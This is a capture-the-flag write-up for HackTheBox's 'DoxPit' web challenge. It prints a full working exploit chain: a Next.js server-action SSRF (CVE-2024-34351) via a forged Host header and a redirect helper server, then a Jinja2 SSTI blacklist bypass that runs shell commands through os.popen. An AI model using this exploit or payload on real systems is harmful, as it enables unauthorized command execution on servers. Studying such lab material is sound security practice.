webfreemedium

DoxPit

hackthebox

Task: Next.js 14.1.0 front-end with internal Flask AV scanner; CVE-2024-34351 SSRF in server actions plus Jinja2 SSTI with blacklist bypass. Solution: forge Host header to trigger SSRF via server action redirect, register user on internal Flask service, exploit render_template_string with {%print()%} and attr() filter chain to read flag.

$ ls tags/ techniques/
attr_filter_chainhost_header_injectionnextjs_server_action_ssrfjinja2_ssti_statement_tag_bypassrequest_args_parameter_passinglocalhost_run_reverse_tunnel

DoxPit — HackTheBox

Description

The owner of famous underground forum doxpit has been allegedly kidnapped, now that turmoil ensues it is the right time to strike and take down this appalling operation.

A Docker container runs two services via supervisord: a Next.js 14.1.0 front-end on port 1337 (the only externally exposed port) serving a static "doxpit" paste forum UI, and an internal Flask 3.0.3 "AV scanner" service on port 3000 that is not directly reachable from outside. The flag is at /flag<random10hex>.txt, renamed at startup via entrypoint.sh.

Analysis

Architecture

The Dockerfile reveals the dual-service setup:

  • Next.js ([email protected]) on port 1337 — the only EXPOSEd port
  • Flask (flask==3.0.3) on port 3000 — internal only
# supervisord.conf
[program:next]
command=npm start
directory=/app/front-end

[program:av]
command=python3 run.py
directory=/app/av

The front-end is entirely static — no API calls, no proxy to Flask. It's a decoy. The real attack surface is the internal Flask service, reachable only via SSRF.

Stage 1: Next.js Server Action SSRF (CVE-2024-34351)

Next.js 14.1.0 has a known SSRF vulnerability in server actions. When a server action calls redirect("/error") (a relative path starting with /), Next.js internally constructs a fetch URL as ${proto}://${host}${basePath}${redirectUrl}, where host comes from the client's Host header.

The front-end has a server action in app/serverActions.tsx:

"use server"; import { redirect } from "next/navigation"; export async function doRedirect() { redirect("/error"); }

The action ID is embedded in the homepage HTML as $ACTION_ID_0b0da34c9bad83debaebc8b90e4d5ec7544ca862.

The SSRF becomes a full-read SSRF through a two-step dance:

  1. Next.js first sends a HEAD request to the attacker's server. If the response has Content-Type: text/x-component, it proceeds.
  2. Next.js then sends a GET request. The attacker's server responds with a 302 redirect to the real internal target. Next.js follows the redirect and returns the full response body to the caller.

Stage 2: Internal Flask user registration via SSRF

The Flask app at 127.0.0.1:3000 has a /register endpoint that accepts GET parameters:

@web.route("/register", methods=["GET"]) def register(): username = request.args.get("username") password = request.args.get("password") # ... token = generate(16) db_session.create_user(username, password, token) return render_template("error.html", title="success", error=f"User created with token: {token}"), 200

The SSRF is used to hit http://127.0.0.1:3000/register?username=pwn&password=pwn and extract the 32-hex token from the response HTML.

The token authenticates to /home via ?token=<token> — the auth_middleware checks request.args.get("token") against the database.

Stage 3: Jinja2 SSTI with blacklist bypass

The /home route has a critical vulnerability:

@web.route("/home", methods=["GET", "POST"]) @auth_middleware def feed(): directory = request.args.get("directory") # ... with open("./application/templates/scan.html", "r") as file: template_content = file.read() results = scan_directory(directory) template_content = template_content.replace("{{ results.date }}", results["date"]) template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"]) return render_template_string(template_content, results=results)

The scanned_directory value comes directly from the user-supplied directory parameter and is string-replaced into the template before render_template_string() is called — a classic SSTI injection point.

There is a blacklist in general.py:

invalid_chars = ["{{", "}}", ".", "_", "[", "]", "\\", "x"]

Bypass technique:

  • Use {%print(...)%} instead of {{...}} — statement tags are not blocked
  • Use |attr() filter instead of . dot access
  • Pass __globals__ and the command via request.args to avoid _ and x in the directory parameter

Final SSTI payload:

{%print(lipsum|attr(request|attr('args')|attr('get')('g'))|attr('get')('os')|attr('popen')(request|attr('args')|attr('get')('c'))|attr('read')())%}

With additional query parameters: &g=__globals__&c=cat /flag*

This works because:

  • lipsum is a Jinja2 global (the Lorem Ipsum generator) that has __globals__ containing the os module
  • request|attr('args')|attr('get')('g') retrieves the string __globals__ from query params (avoiding _ in the directory value)
  • request|attr('args')|attr('get')('c') retrieves cat /flag* (avoiding x from txt)

Solution

The exploit chains all three stages automatically:

#!/usr/bin/env python3 import argparse import html import random import re import string import threading import time import urllib.error import urllib.parse import urllib.request from http.server import BaseHTTPRequestHandler, HTTPServer ACTION_RE = re.compile(r"\$ACTION_ID_([0-9a-f]{40})") TOKEN_RE = re.compile(r"User created with token: ([0-9a-f]{32})") FLAG_RE = re.compile(r"HTB\{[^}]+\}") class RedirectHandler(BaseHTTPRequestHandler): target = None def do_HEAD(self): self.send_response(200) self.send_header("Content-Type", "text/x-component") self.end_headers() def do_GET(self): self.send_response(302) self.send_header("Location", self.target) self.end_headers() def log_message(self, *_args): return def fetch(url, *, method="GET", headers=None, data=None): req = urllib.request.Request(url, method=method, headers=headers or {}, data=data) try: with urllib.request.urlopen(req, timeout=20) as resp: return resp.read().decode(errors="replace") except urllib.error.HTTPError as exc: return exc.read().decode(errors="replace") def scrape_action_id(base_url): body = fetch(base_url) match = ACTION_RE.search(body) if not match: raise RuntimeError("could not find Next server action ID in homepage HTML") return match.group(1) def trigger_ssrf(base_url, action_id, host_header): headers = { "Host": host_header, "Next-Action": action_id, "Accept": "text/x-component", "Content-Type": "text/plain", } return fetch(base_url, method="POST", headers=headers, data=b"{}") def randstr(length=8): return "".join(random.choice(string.ascii_lowercase) for _ in range(length)) def start_helper(listen, port): server = HTTPServer((listen, port), RedirectHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() time.sleep(0.2) return server def build_url(base, params): return f"{base}?{urllib.parse.urlencode(params)}" def main(): parser = argparse.ArgumentParser( description="Exploit DoxPit via Next.js SSRF -> internal Flask SSTI") parser.add_argument("base_url", help="Public challenge URL, e.g. http://94.237.x.x:12345/") parser.add_argument("--listen", default="127.0.0.1", help="Local helper bind address") parser.add_argument("--port", type=int, default=8000, help="Local helper bind port") parser.add_argument("--public-host", default=None, help="Host:port visible to target (use tunnel domain here)") parser.add_argument("--internal-base", default="http://127.0.0.1:3000", help="Internal Flask base URL") parser.add_argument("--command", default="cat /flag*", help="Command to execute via SSTI") args = parser.parse_args() base_url = args.base_url.rstrip("/") + "/" action_id = scrape_action_id(base_url) print(f"[+] action id: {action_id}") helper = start_helper(args.listen, args.port) host_header = args.public_host or f"{args.listen}:{args.port}" print(f"[+] helper host header: {host_header}") # Stage 2: Register user on internal Flask via SSRF username = f"pwn_{randstr()}" password = randstr(12) register_url = build_url( f"{args.internal_base}/register", {"username": username, "password": password}, ) RedirectHandler.target = register_url register_resp = trigger_ssrf(base_url, action_id, host_header) token_match = TOKEN_RE.search(register_resp) if not token_match: raise RuntimeError("could not extract token from SSRF register response") token = token_match.group(1) print(f"[+] token: {token}") # Stage 3: SSTI to read flag payload = ("{%print(lipsum|attr(request|attr('args')|attr('get')('g'))" "|attr('get')('os')" "|attr('popen')(request|attr('args')|attr('get')('c'))" "|attr('read')())%}") home_url = build_url( f"{args.internal_base}/home", { "token": token, "g": "__globals__", "c": args.command, "directory": payload, }, ) RedirectHandler.target = home_url flag_resp = trigger_ssrf(base_url, action_id, host_header) flag_match = FLAG_RE.search(html.unescape(flag_resp)) if not flag_match: raise RuntimeError("flag not found in final response") print(f"[+] flag: {flag_match.group(0)}") helper.shutdown() if __name__ == "__main__": main()

Running the exploit

The helper server needs to be reachable from the target container. A localhost.run SSH reverse tunnel exposes the local helper publicly:

ssh -R 80:127.0.0.1:8000 [email protected] 2>&1 | tee localhostrun.log & # Wait for tunnel URL, e.g. d90f5f78134b82.lhr.life python3 solve.py http://TARGET:PORT/ --public-host d90f5f78134b82.lhr.life

Output:

[+] action id: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
[+] helper host header: d90f5f78134b82.lhr.life
[+] token: ff152f7d1b6b52fcef520a8f8ad83b6b
[+] flag: HTB{1t5_n0t_ju5t_4_fr0nt-3nd!}

What didn't work

  • The front-end is entirely static (no API calls, no fetch, no proxy to Flask) — it's a decoy
  • Webhook.site free tier doesn't support method-specific responses (needed HEAD vs GET differentiation)
  • Direct access to Flask port 3000 is not possible from outside the container

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups